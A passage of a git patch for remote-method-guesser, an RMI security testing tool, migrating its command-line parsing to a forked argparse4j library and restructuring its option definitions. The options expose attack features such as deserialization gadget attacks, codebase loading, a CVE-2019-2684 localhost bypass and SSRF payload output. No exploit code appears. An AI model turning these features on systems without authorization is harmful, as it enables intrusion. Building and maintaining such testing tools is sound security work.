From b7e64e347eee114f3b62d16148d16042bfc6ed30 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Mon, 1 Jan 2024 22:19:28 +0100 Subject: [PATCH 01/62] Start switch to other argparse4j implementation --- pom.xml | 5 - .../rmg/internal/ArgumentHandler.java | 54 +- .../rmg/internal/ExceptionHandler.java | 42 +- src/eu/tneitzel/rmg/internal/RMGOption.java | 922 +++++++++++------- .../tneitzel/rmg/internal/RMGOptionGroup.java | 35 +- src/eu/tneitzel/rmg/operations/Operation.java | 25 +- 6 files changed, 663 insertions(+), 420 deletions(-) diff --git a/pom.xml b/pom.xml index 5dd4b52..04708ff 100644 --- a/pom.xml +++ b/pom.xml @@ -47,11 +47,6 @@ - - net.sourceforge.argparse4j - argparse4j - 0.9.0 - commons-io diff --git a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java index d494b15..5bf643a 100644 --- a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java +++ b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java @@ -10,17 +10,19 @@ import java.util.Properties; import java.util.Set; +import eu.tneitzel.argparse4j.ArgumentParsers; +import eu.tneitzel.argparse4j.global.GlobalOption; +import eu.tneitzel.argparse4j.global.exceptions.RequirementException; +import eu.tneitzel.argparse4j.inf.ArgumentParser; +import eu.tneitzel.argparse4j.inf.ArgumentParserException; +import eu.tneitzel.argparse4j.inf.Namespace; +import eu.tneitzel.argparse4j.inf.Subparsers; import eu.tneitzel.rmg.io.Logger; import eu.tneitzel.rmg.operations.Operation; import eu.tneitzel.rmg.operations.PortScanner; import eu.tneitzel.rmg.operations.ScanAction; import eu.tneitzel.rmg.plugin.PluginSystem; import eu.tneitzel.rmg.utils.RMGUtils; -import net.sourceforge.argparse4j.ArgumentParsers; -import net.sourceforge.argparse4j.inf.ArgumentParser; -import net.sourceforge.argparse4j.inf.ArgumentParserException; -import net.sourceforge.argparse4j.inf.Namespace; -import net.sourceforge.argparse4j.inf.Subparsers; /** * The ArgumentHandler class is a wrapper around an argparse4j ArgumentParser. It adds some @@ -110,8 +112,8 @@ private Properties loadConfig(String filename) */ private void initialize() { - config = loadConfig(args.get(RMGOption.GLOBAL_CONFIG.name)); - RMGOption.prepareOptions(args, config); + config = loadConfig(args.get(RMGOption.GLOBAL_CONFIG.getName())); + GlobalOption.parseOptions(args, config, RMGOption.values()); if (RMGOption.GLOBAL_NO_COLOR.getBool()) { @@ -295,19 +297,27 @@ public Object getGadget() String gadget = null; String command = null; - if (this.getAction() == Operation.BIND || this.getAction() == Operation.REBIND) + try { - boolean customGadget = RMGOption.BIND_GADGET_NAME.notNull(); - boolean customCommand = RMGOption.BIND_GADGET_CMD.notNull(); + if (this.getAction() == Operation.BIND || this.getAction() == Operation.REBIND) + { + boolean customGadget = RMGOption.BIND_GADGET_NAME.notNull(); + boolean customCommand = RMGOption.BIND_GADGET_CMD.notNull(); + + gadget = customGadget ? RMGOption.BIND_GADGET_NAME.getValue() : "jmx"; + command = customCommand ? RMGOption.BIND_GADGET_CMD.getValue() : RMGOption.BIND_ADDRESS.require(); + } - gadget = customGadget ? RMGOption.BIND_GADGET_NAME.getValue() : "jmx"; - command = customCommand ? RMGOption.BIND_GADGET_CMD.getValue() : RMGOption.require(RMGOption.BIND_ADDRESS); + else + { + gadget = RMGOption.GADGET_NAME.require(); + command = RMGOption.GADGET_CMD.require(); + } } - else + catch (RequirementException e) { - gadget = (String) RMGOption.require(RMGOption.GADGET_NAME); - command = RMGOption.require(RMGOption.GADGET_CMD); + ExceptionHandler.requirementException(e); } return PluginSystem.getPayloadObject(this.getAction(), gadget, command); @@ -321,8 +331,18 @@ public Object getGadget() */ public Object[] getCallArguments() { - String argumentString = (String) RMGOption.require(RMGOption.CALL_ARGUMENTS); - return PluginSystem.getArgumentArray(argumentString); + try + { + String argumentString = (String) RMGOption.CALL_ARGUMENTS.require(); + return PluginSystem.getArgumentArray(argumentString); + } + + catch (RequirementException e) + { + ExceptionHandler.requirementException(e); + } + + return null; } /** diff --git a/src/eu/tneitzel/rmg/internal/ExceptionHandler.java b/src/eu/tneitzel/rmg/internal/ExceptionHandler.java index d01b9ca..ddcec41 100644 --- a/src/eu/tneitzel/rmg/internal/ExceptionHandler.java +++ b/src/eu/tneitzel/rmg/internal/ExceptionHandler.java @@ -2,6 +2,10 @@ import java.rmi.server.ObjID; +import eu.tneitzel.argparse4j.global.IOption; +import eu.tneitzel.argparse4j.global.exceptions.RequirementAllOfException; +import eu.tneitzel.argparse4j.global.exceptions.RequirementException; +import eu.tneitzel.argparse4j.global.exceptions.RequirementOneOfException; import eu.tneitzel.rmg.io.Logger; import eu.tneitzel.rmg.utils.RMGUtils; @@ -17,8 +21,8 @@ * * @author Tobias Neitzel (@qtc_de) */ -public class ExceptionHandler { - +public class ExceptionHandler +{ private static void sslOption() { if(RMGOption.CONN_SSL.getBool()) @@ -27,6 +31,40 @@ private static void sslOption() Logger.eprintlnMixedYellow("You can retry the operation using the", "--ssl", "option."); } + /** + * @param e description in progress + */ + public static void requirementException(RequirementException e) + { + StringBuilder optionString = new StringBuilder(); + IOption[] requiredOptions = e.getRequiredOptions(); + + for (IOption option : requiredOptions) + { + optionString.append(option.getName()); + optionString.append(", "); + } + + optionString.setLength(optionString.length() - 2); + + if (e instanceof RequirementAllOfException) + { + Logger.eprintlnMixedYellow("Error: The specified action requires the", optionString.toString(), "options."); + } + + else if (e instanceof RequirementOneOfException) + { + Logger.eprintlnMixedYellow("Error: The specified action requires one of the", optionString.toString(), "options."); + } + + else + { + Logger.eprintlnMixedYellow("Error: The specified action requires the", requiredOptions[0].getName(), "option."); + } + + RMGUtils.exit(); + } + /** * @param functionName description in progress * @param message description in progress diff --git a/src/eu/tneitzel/rmg/internal/RMGOption.java b/src/eu/tneitzel/rmg/internal/RMGOption.java index 1dc6993..bc16cf6 100644 --- a/src/eu/tneitzel/rmg/internal/RMGOption.java +++ b/src/eu/tneitzel/rmg/internal/RMGOption.java @@ -1,17 +1,16 @@ package eu.tneitzel.rmg.internal; -import java.util.EnumSet; -import java.util.Properties; - -import eu.tneitzel.rmg.io.Logger; -import eu.tneitzel.rmg.operations.Operation; -import eu.tneitzel.rmg.utils.RMGUtils; -import net.sourceforge.argparse4j.impl.Arguments; -import net.sourceforge.argparse4j.inf.Argument; -import net.sourceforge.argparse4j.inf.ArgumentAction; -import net.sourceforge.argparse4j.inf.ArgumentGroup; -import net.sourceforge.argparse4j.inf.ArgumentParser; -import net.sourceforge.argparse4j.inf.Namespace; +import eu.tneitzel.argparse4j.global.IOption; +import eu.tneitzel.argparse4j.global.IOptionGroup; +import eu.tneitzel.argparse4j.global.exceptions.RequirementException; +import eu.tneitzel.argparse4j.global.modifiers.Choices; +import eu.tneitzel.argparse4j.global.modifiers.IArgumentModifier; +import eu.tneitzel.argparse4j.global.modifiers.MetaVar; +import eu.tneitzel.argparse4j.global.modifiers.NArgs; +import eu.tneitzel.argparse4j.global.modifiers.Type; +import eu.tneitzel.argparse4j.impl.Arguments; +import eu.tneitzel.argparse4j.impl.action.StoreTrueArgumentAction; +import eu.tneitzel.argparse4j.inf.ArgumentAction; /** * The RMGOption enum is an additional helper class to manage command line parameters. remote-method-guesser uses argparse4j @@ -23,261 +22,643 @@ * * @author Tobias Neitzel (@qtc_de) */ -public enum RMGOption +public enum RMGOption implements IOption { /** path to a configuration file */ - GLOBAL_CONFIG("--config", "path to a configuration file", Arguments.store(), RMGOptionGroup.GENERAL, "path"), + GLOBAL_CONFIG("--config", + "path to a configuration file", + Arguments.store(), + RMGOptionGroup.GENERAL, + new IArgumentModifier[] { + new MetaVar("path") + }), + /** enable verbose output */ - GLOBAL_VERBOSE("--verbose", "enable verbose output", Arguments.storeTrue(), RMGOptionGroup.GENERAL), + GLOBAL_VERBOSE("--verbose", + "enable verbose output", + Arguments.storeTrue(), + RMGOptionGroup.GENERAL), + /** file system path to a rmg plugin */ - GLOBAL_PLUGIN("--plugin", "file system path to a rmg plugin", Arguments.store(), RMGOptionGroup.GENERAL, "path"), + GLOBAL_PLUGIN("--plugin", + "file system path to a rmg plugin", + Arguments.store(), + RMGOptionGroup.GENERAL, + new IArgumentModifier[] { + new MetaVar("path") + }), + /** disable colored output */ - GLOBAL_NO_COLOR("--no-color", "disable colored output", Arguments.storeTrue(), RMGOptionGroup.GENERAL), + GLOBAL_NO_COLOR("--no-color", + "disable colored output", + Arguments.storeTrue(), + RMGOptionGroup.GENERAL), + /** display stack traces for caught exceptions */ - GLOBAL_STACK_TRACE("--stack-trace", "display stack traces for caught exceptions", Arguments.storeTrue(), RMGOptionGroup.GENERAL), + GLOBAL_STACK_TRACE("--stack-trace", + "display stack traces for caught exceptions", + Arguments.storeTrue(), + RMGOptionGroup.GENERAL), /** target host */ - TARGET_HOST("host", "target host", Arguments.store(), RMGOptionGroup.NONE, "host"), + TARGET_HOST("host", + "target host", + Arguments.store(), + RMGOptionGroup.NONE, + new IArgumentModifier[] { + new MetaVar("host") + }), + /** target port */ - TARGET_PORT("port", "target port", Arguments.store(), RMGOptionGroup.NONE, "port"), + TARGET_PORT("port", + "target port", + Arguments.store(), + RMGOptionGroup.NONE, + new IArgumentModifier[] { + new MetaVar("path"), + new Type(Integer.class) + }), + /** target RMI component */ - TARGET_COMPONENT("--component", "target RMI component", Arguments.store(), RMGOptionGroup.TARGET, "component"), + TARGET_COMPONENT("--component", + "target RMI component", + Arguments.store(), + RMGOptionGroup.TARGET, + new IArgumentModifier[] { + new MetaVar("component"), + new Choices("act", "dgc", "reg") + }), + /** target bound name within an RMI registry */ - TARGET_BOUND_NAME("--bound-name", "target bound name within an RMI registry", Arguments.store(), RMGOptionGroup.TARGET, "name"), + TARGET_BOUND_NAME("--bound-name", + "target bound name within an RMI registry", + Arguments.store(), + RMGOptionGroup.TARGET, + new IArgumentModifier[] { + new MetaVar("name") + }), + /** target ObjID */ - TARGET_OBJID("--objid", "target ObjID", Arguments.store(), RMGOptionGroup.TARGET, "objid"), + TARGET_OBJID("--objid", + "target ObjID", + Arguments.store(), + RMGOptionGroup.TARGET, + new IArgumentModifier[] { + new MetaVar("objid") + }), + /** target method signature */ - TARGET_SIGNATURE("--signature", "target method signature", Arguments.store(), RMGOptionGroup.TARGET, "signature"), + TARGET_SIGNATURE("--signature", + "target method signature", + Arguments.store(), + RMGOptionGroup.TARGET, + new IArgumentModifier[] { + new MetaVar("signature") + }), /** follow redirects to different servers */ - CONN_FOLLOW("--follow", "follow redirects to different servers", Arguments.storeTrue(), RMGOptionGroup.CONNECTION), + CONN_FOLLOW("--follow", + "follow redirects to different servers", + Arguments.storeTrue(), + RMGOptionGroup.CONNECTION), + /** use SSL for connections */ - CONN_SSL("--ssl", "use SSL for connections", Arguments.storeTrue(), RMGOptionGroup.CONNECTION), + CONN_SSL("--ssl", + "use SSL for connections", + Arguments.storeTrue(), + RMGOptionGroup.CONNECTION), + /** scan timeout for read operation */ - SCAN_TIMEOUT_READ("--timeout-read", "scan timeout for read operation", Arguments.store(), RMGOptionGroup.CONNECTION, "sec"), + SCAN_TIMEOUT_READ("--timeout-read", + "scan timeout for read operation", + Arguments.store(), + RMGOptionGroup.CONNECTION, + new IArgumentModifier[] { + new MetaVar("sec"), + new Type(Integer.class) + }), + /** scan timeout for connect operation */ - SCAN_TIMEOUT_CONNECT("--timeout-connect", "scan timeout for connect operation", Arguments.store(), RMGOptionGroup.CONNECTION, "sec"), + SCAN_TIMEOUT_CONNECT("--timeout-connect", + "scan timeout for connect operation", + Arguments.store(), + RMGOptionGroup.CONNECTION, + new IArgumentModifier[] { + new MetaVar("sec"), + new Type(Integer.class) + }), /** print SSRF content as gopher payload */ - SSRF_GOPHER("--gopher", "print SSRF content as gopher payload", Arguments.storeTrue(), RMGOptionGroup.SSRF), + SSRF_GOPHER("--gopher", + "print SSRF content as gopher payload", + Arguments.storeTrue(), + RMGOptionGroup.SSRF), + /** print SSRF payload instead of contacting a server */ - SSRF("--ssrf", "print SSRF payload instead of contacting a server", Arguments.storeTrue(), RMGOptionGroup.SSRF), + SSRF("--ssrf", + "print SSRF payload instead of contacting a server", + Arguments.storeTrue(), + RMGOptionGroup.SSRF), + /** evaluate SSRF response from the server */ - SSRFRESPONSE("--ssrf-response", "evaluate SSRF response from the server", Arguments.store(), RMGOptionGroup.SSRF, "hex"), + SSRFRESPONSE("--ssrf-response", + "evaluate SSRF response from the server", + Arguments.store(), + RMGOptionGroup.SSRF, + new IArgumentModifier[] { + new MetaVar("hex") + }), + /** double URL encode the SSRF payload */ - SSRF_ENCODE("--encode", "double URL encode the SSRF payload", Arguments.storeTrue(), RMGOptionGroup.SSRF), + SSRF_ENCODE("--encode", + "double URL encode the SSRF payload", + Arguments.storeTrue(), + RMGOptionGroup.SSRF), + /** print payload without color and without additional text */ - SSRF_RAW("--raw", "print payload without color and without additional text", Arguments.storeTrue(), RMGOptionGroup.SSRF), + SSRF_RAW("--raw", + "print payload without color and without additional text", + Arguments.storeTrue(), + RMGOptionGroup.SSRF), + /** use the stream protocol instead of single operation */ - SSRF_STREAM_PROTOCOL("--stream-protocol", "use the stream protocol instead of single operation", Arguments.storeTrue(), RMGOptionGroup.SSRF), + SSRF_STREAM_PROTOCOL("--stream-protocol", + "use the stream protocol instead of single operation", + Arguments.storeTrue(), + RMGOptionGroup.SSRF), /** ObjID of the bound object. */ - BIND_OBJID("--bind-objid", "ObjID of the bound object.", Arguments.store(), RMGOptionGroup.ACTION, "objid"), + BIND_OBJID("--bind-objid", + "ObjID of the bound object.", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("objid") + }), + /** host specifications the bound remote object should point to */ - BIND_ADDRESS("bind-host", "host specifications the bound remote object should point to", Arguments.store(), RMGOptionGroup.ACTION, "host:port"), + BIND_ADDRESS("bind-host", + "host specifications the bound remote object should point to", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("host:port"), + }), + /** Bound name to use for (un)bind action */ - BIND_BOUND_NAME("bound-name", "Bound name to use for (un)bind action", Arguments.store(), RMGOptionGroup.ACTION, "name"), + BIND_BOUND_NAME("bound-name", + "Bound name to use for (un)bind action", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("name"), + }), + /** attempt localhost bypass (CVE-2019-2684) */ - BIND_BYPASS("--localhost-bypass", "attempt localhost bypass (CVE-2019-2684)", Arguments.storeTrue(), RMGOptionGroup.ACTION), + BIND_BYPASS("--localhost-bypass", + "attempt localhost bypass (CVE-2019-2684)", + Arguments.storeTrue(), + RMGOptionGroup.ACTION), + /** attempt to bind the specified gadget instead of JMXServer */ - BIND_GADGET_NAME("--gadget-name", "attempt to bind the specified gadget instead of JMXServer", Arguments.store(), RMGOptionGroup.ACTION, "gadget"), + BIND_GADGET_NAME("--gadget-name", + "attempt to bind the specified gadget instead of JMXServer", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("gadget"), + }), + /** command for a custom gadget */ - BIND_GADGET_CMD("--gadget-cmd", "command for a custom gadget", Arguments.store(), RMGOptionGroup.ACTION, "cmd"), + BIND_GADGET_CMD("--gadget-cmd", + "command for a custom gadget", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("cmd"), + }), /** classname to load during codebase attack */ - CODEBASE_CLASS("classname", "classname to load during codebase attack", Arguments.store(), RMGOptionGroup.ACTION, "classname"), + CODEBASE_CLASS("classname", + "classname to load during codebase attack", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("name"), + }), + /** codebase URL to load the payload from */ - CODEBASE_URL("url", "codebase URL to load the payload from", Arguments.store(), RMGOptionGroup.ACTION, "url"), + CODEBASE_URL("url", + "codebase URL to load the payload from", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("url"), + }), /** IP address to start the listener on */ - LISTEN_IP("ip", "IP address to start the listener on", Arguments.store(), RMGOptionGroup.ACTION, "ip"), + LISTEN_IP("ip", + "IP address to start the listener on", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("IP"), + }), + /** port number to start the listener on */ - LISTEN_PORT("port", "port number to start the listener on", Arguments.store(), RMGOptionGroup.ACTION, "port"), + LISTEN_PORT("port", + "port number to start the listener on", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("port"), + new Type(Integer.class) + }), /** ObjID to use for the JMX listener */ - ROGUEJMX_OBJID("--objid", "ObjID to use for the JMX listener", Arguments.store(), RMGOptionGroup.ACTION, "objid"), + ROGUEJMX_OBJID("--objid", + "ObjID to use for the JMX listener", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("objid") + }), + /** host to forward incoming JMX connections to */ - ROGUEJMX_FORWARD_HOST("--forward-host", "host to forward incoming JMX connections to", Arguments.store(), RMGOptionGroup.ACTION, "host"), + ROGUEJMX_FORWARD_HOST("--forward-host", + "host to forward incoming JMX connections to", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("host"), + }), /** port to forward incoming JMX connections to */ - ROGUEJMX_FORWARD_PORT("--forward-port", "port to forward incoming JMX connections to", Arguments.store(), RMGOptionGroup.ACTION, "port"), + ROGUEJMX_FORWARD_PORT("--forward-port", + "port to forward incoming JMX connections to", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("port"), + new Type(Integer.class) + }), + /** bound name to forward incoming JMX connections to */ - ROGUEJMX_FORWARD_BOUND_NAME("--forward-bound-name", "bound name to forward incoming JMX connections to", Arguments.store(), RMGOptionGroup.ACTION, "name"), + ROGUEJMX_FORWARD_BOUND_NAME("--forward-bound-name", + "bound name to forward incoming JMX connections to", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("name") + }), + /** ObjID to forward incoming JMX connections to */ - ROGUEJMX_FORWARD_OBJID("--forward-objid", "ObjID to forward incoming JMX connections to", Arguments.store(), RMGOptionGroup.ACTION, "objid"), + ROGUEJMX_FORWARD_OBJID("--forward-objid", + "ObjID to forward incoming JMX connections to", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("objid"), + }), /** wordlist file to use for method guessing */ - GUESS_WORDLIST_FILE("--wordlist-file", "wordlist file to use for method guessing", Arguments.store(), RMGOptionGroup.ACTION, "path"), + GUESS_WORDLIST_FILE("--wordlist-file", + "wordlist file to use for method guessing", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("path"), + }), + /** location of the wordlist folder */ - GUESS_WORDLIST_FOLDER("--wordlist-folder", "location of the wordlist folder", Arguments.store(), RMGOptionGroup.ACTION, "path"), + GUESS_WORDLIST_FOLDER("--wordlist-folder", + "location of the wordlist folder", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("path"), + }), + /** create sample classes for identified methods */ - GUESS_CREATE_SAMPLES("--create-samples", "create sample classes for identified methods", Arguments.storeTrue(), RMGOptionGroup.ACTION), + GUESS_CREATE_SAMPLES("--create-samples", + "create sample classes for identified methods", + Arguments.storeTrue(), + RMGOptionGroup.ACTION), + /** folder used for sample generation */ - GUESS_SAMPLE_FOLDER("--sample-folder", "folder used for sample generation", Arguments.store(), RMGOptionGroup.ACTION, "path"), + GUESS_SAMPLE_FOLDER("--sample-folder", + "folder used for sample generation", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("path"), + }), + /** location of the template folder */ - GUESS_TEMPLATE_FOLDER("--template-folder", "location of the template folder", Arguments.store(), RMGOptionGroup.ACTION, "path"), + GUESS_TEMPLATE_FOLDER("--template-folder", + "location of the template folder", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("path"), + }), + /** disable bound name filtering */ - GUESS_TRUSTED("--trusted", "disable bound name filtering", Arguments.storeTrue(), RMGOptionGroup.ACTION), + GUESS_TRUSTED("--trusted", + "disable bound name filtering", + Arguments.storeTrue(), + RMGOptionGroup.ACTION), + /** force guessing on known remote objects */ - GUESS_FORCE_GUESSING("--force-guessing", "force guessing on known remote objects", Arguments.storeTrue(), RMGOptionGroup.ACTION), + GUESS_FORCE_GUESSING("--force-guessing", + "force guessing on known remote objects", + Arguments.storeTrue(), + RMGOptionGroup.ACTION), + /** guess duplicate remote classes */ - GUESS_DUPLICATES("--guess-duplicates", "guess duplicate remote classes", Arguments.storeTrue(), RMGOptionGroup.ACTION), + GUESS_DUPLICATES("--guess-duplicates", + "guess duplicate remote classes", + Arguments.storeTrue(), + RMGOptionGroup.ACTION), + /** update wordlist file with method hashes */ - GUESS_UPDATE("--update", "update wordlist file with method hashes", Arguments.storeTrue(), RMGOptionGroup.ACTION), + GUESS_UPDATE("--update", + "update wordlist file with method hashes", + Arguments.storeTrue(), + RMGOptionGroup.ACTION), + /** allow guessing on void functions (dangerous) */ - GUESS_ZERO_ARG("--zero-arg", "allow guessing on void functions (dangerous)", Arguments.storeTrue(), RMGOptionGroup.ACTION), + GUESS_ZERO_ARG("--zero-arg", + "allow guessing on void functions (dangerous)", + Arguments.storeTrue(), + RMGOptionGroup.ACTION), /** gadget name to use for the deserialization attack */ - GADGET_NAME("gadget", "gadget name to use for the deserialization attack", Arguments.store(), RMGOptionGroup.ACTION, "gadget"), + GADGET_NAME("gadget", + "gadget name to use for the deserialization attack", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("gadget"), + }), + /** command to pass for the specified gadget */ - GADGET_CMD("cmd", "command to pass for the specified gadget", Arguments.store(), RMGOptionGroup.ACTION, "cmd"), + GADGET_CMD("cmd", + "command to pass for the specified gadget", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("cmd"), + }), /** attempt localhost bypass during enum */ - ENUM_BYPASS("--localhost-bypass", "attempt localhost bypass during enum", Arguments.storeTrue(), RMGOptionGroup.ACTION), + ENUM_BYPASS("--localhost-bypass", + "attempt localhost bypass during enum", + Arguments.storeTrue(), + RMGOptionGroup.ACTION), + /** scan actions to perform during the enumeration */ - ENUM_ACTION("--scan-action", "scan actions to perform during the enumeration", Arguments.store(), RMGOptionGroup.ACTION, "action"), + ENUM_ACTION("--scan-action", + "scan actions to perform during the enumeration", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("action"), + new Choices("activator", "codebase", "filter-bypass", "jep290", + "list", "localhost-bypass", "security-manager", "string-marshalling"), + new NArgs("+"), + }), /** host to perform the scan on */ - SCAN_HOST("host", "host to perform the scan on", Arguments.store(), RMGOptionGroup.ACTION, "host"), + SCAN_HOST("host", + "host to perform the scan on", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("host"), + }), + /** port specifications to perform the portscan on */ - SCAN_PORTS("--ports", "port specifications to perform the portscan on", Arguments.store(), RMGOptionGroup.ACTION, "port"), + SCAN_PORTS("--ports", + "port specifications to perform the portscan on", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("port"), + new NArgs("+") + }), /** argument string to use for the call */ - CALL_ARGUMENTS("arguments", "argument string to use for the call", Arguments.store(), RMGOptionGroup.ACTION, "args"), + CALL_ARGUMENTS("arguments", + "argument string to use for the call", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("args"), + }), + /** ObjID string to parse */ - OBJID_OBJID("objid", "ObjID string to parse", Arguments.store(), RMGOptionGroup.ACTION, "objid"), + OBJID_OBJID("objid", + "ObjID string to parse", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("objid"), + }), + /** classname to check within the database */ - KNOWN_CLASS("classname", "classname to check within the database", Arguments.store(), RMGOptionGroup.ACTION, "classname"), + KNOWN_CLASS("classname", + "classname to check within the database", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("name"), + }), /** enable activation for ActivatableRef */ - ACTIVATION("--activate", "enable activation for ActivatableRef", Arguments.storeTrue(), RMGOptionGroup.ACTION), + ACTIVATION("--activate", + "enable activation for ActivatableRef", + Arguments.storeTrue(), + RMGOptionGroup.ACTION), + /** force activation of ActivatableRef */ - FORCE_ACTIVATION("--force-activation", "force activation of ActivatableRef", Arguments.storeTrue(), RMGOptionGroup.ACTION), + FORCE_ACTIVATION("--force-activation", + "force activation of ActivatableRef", + Arguments.storeTrue(), + RMGOptionGroup.ACTION), + /** payload argument position */ - ARGUMENT_POS("--position", "payload argument position", Arguments.store(), RMGOptionGroup.ACTION, "pos"), + ARGUMENT_POS("--position", + "payload argument position", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("pos"), + new Type(Integer.class), + }), + /** do not use a canary during RMI attacks */ - NO_CANARY("--no-canary", "do not use a canary during RMI attacks", Arguments.storeTrue(), RMGOptionGroup.ACTION), + NO_CANARY("--no-canary", + "do not use a canary during RMI attacks", + Arguments.storeTrue(), + RMGOptionGroup.ACTION), + /** disable progress bars */ - NO_PROGRESS("--no-progress", "disable progress bars", Arguments.storeTrue(), RMGOptionGroup.ACTION), + NO_PROGRESS("--no-progress", + "disable progress bars", + Arguments.storeTrue(), + RMGOptionGroup.ACTION), + /** maximum number of threads (default: 5) */ - THREADS("--threads", "maximum number of threads (default: 5)", Arguments.store(), RMGOptionGroup.ACTION, "threads"), + THREADS("--threads", + "maximum number of threads (default: 5)", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("threads"), + new Type(Integer.class) + }), + /** location of ysoserial.jar for deserialization attacks */ - YSO("--yso", "location of ysoserial.jar for deserialization attacks", Arguments.store(), RMGOptionGroup.ACTION, "yso-path"), + YSO("--yso", + "location of ysoserial.jar for deserialization attacks", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("path"), + }), + /** method to use for dgc operations */ - DGC_METHOD("--dgc-method", "method to use for dgc operations", Arguments.store(), RMGOptionGroup.ACTION, "method"), + DGC_METHOD("--dgc-method", + "method to use for dgc operations", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("method"), + new Choices("clean", "dirty"), + }), + /** method to use for registry operations */ - REG_METHOD("--registry-method", "method to use for registry operations", Arguments.store(), RMGOptionGroup.ACTION, "method"), + REG_METHOD("--registry-method", + "method to use for registry operations", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("method"), + new Choices("lookup", "unbind", "rebind", "bind"), + }), + /** serialVersionUID to use for RMI stubs */ - SERIAL_VERSION_UID("--serial-version-uid", "serialVersionUID to use for RMI stubs", Arguments.store(), RMGOptionGroup.ACTION, "uid"), + SERIAL_VERSION_UID("--serial-version-uid", + "serialVersionUID to use for RMI stubs", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("uid"), + new Type(Long.class) + }), + /** serialVersionUID to use for payload classes */ - PAYLOAD_SERIAL_VERSION_UID("--payload-serial-version-uid", "serialVersionUID to use for payload classes", Arguments.store(), RMGOptionGroup.ACTION, "uid"), + PAYLOAD_SERIAL_VERSION_UID("--payload-serial-version-uid", + "serialVersionUID to use for payload classes", + Arguments.store(), + RMGOptionGroup.ACTION, + new IArgumentModifier[] { + new MetaVar("uid"), + new Type(Long.class) + }), /** enforce plaintext connections from dynamically created socket factories */ - SOCKET_FACTORY_PLAIN("--socket-factory-plain", "enforce plaintext connections from dynamically created socket factories", Arguments.storeTrue(), RMGOptionGroup.CONNECTION), + SOCKET_FACTORY_PLAIN("--socket-factory-plain", + "enforce plaintext connections from dynamically created socket factories", + Arguments.storeTrue(), + RMGOptionGroup.CONNECTION), + /** enforce SSL connections from dynamically created socket factories */ - SOCKET_FACTORY_SSL("--socket-factory-ssl", "enforce SSL connections from dynamically created socket factories", Arguments.storeTrue(), RMGOptionGroup.CONNECTION), + SOCKET_FACTORY_SSL("--socket-factory-ssl", + "enforce SSL connections from dynamically created socket factories", + Arguments.storeTrue(), + RMGOptionGroup.CONNECTION), + /** dynamically create a socket factory class with the specified name */ - SOCKET_FACTORY("--socket-factory", "dynamically create a socket factory class with the specified name", Arguments.store(), RMGOptionGroup.CONNECTION, "classname"), + SOCKET_FACTORY("--socket-factory", + "dynamically create a socket factory class with the specified name", + Arguments.store(), + RMGOptionGroup.CONNECTION, + new IArgumentModifier[] { + new MetaVar("class-name"), + }), /** enforce method calls to be dispatched via spring remoting */ - SPRING_REMOTING("--spring-remoting", "enforce method calls to be dispatched via spring remoting", Arguments.storeTrue(), RMGOptionGroup.CONNECTION), + SPRING_REMOTING("--spring-remoting", + "enforce method calls to be dispatched via spring remoting", + Arguments.storeTrue(), + RMGOptionGroup.CONNECTION), + /** attempt to output the return value using GenericPrint */ - GENERIC_PRINT("--generic-print", "attempt to output the return value using GenericPrint", Arguments.storeTrue(), RMGOptionGroup.ACTION); + GENERIC_PRINT("--generic-print", + "attempt to output the return value using GenericPrint", + Arguments.storeTrue(), + RMGOptionGroup.ACTION); /** the name of the option */ - public final String name; + private final String name; /** description of the option */ - public final String description; - /** metavar of the option */ - public final String metavar; + private final String description; + /** argumentAction of the option */ + private final ArgumentAction argumentAction; /** argumentAction of the option */ - public final ArgumentAction argumentAction; + private final IArgumentModifier[] modifiers; /** RMGOptionGroup of the option */ - public RMGOptionGroup optionGroup = null; - + private IOptionGroup 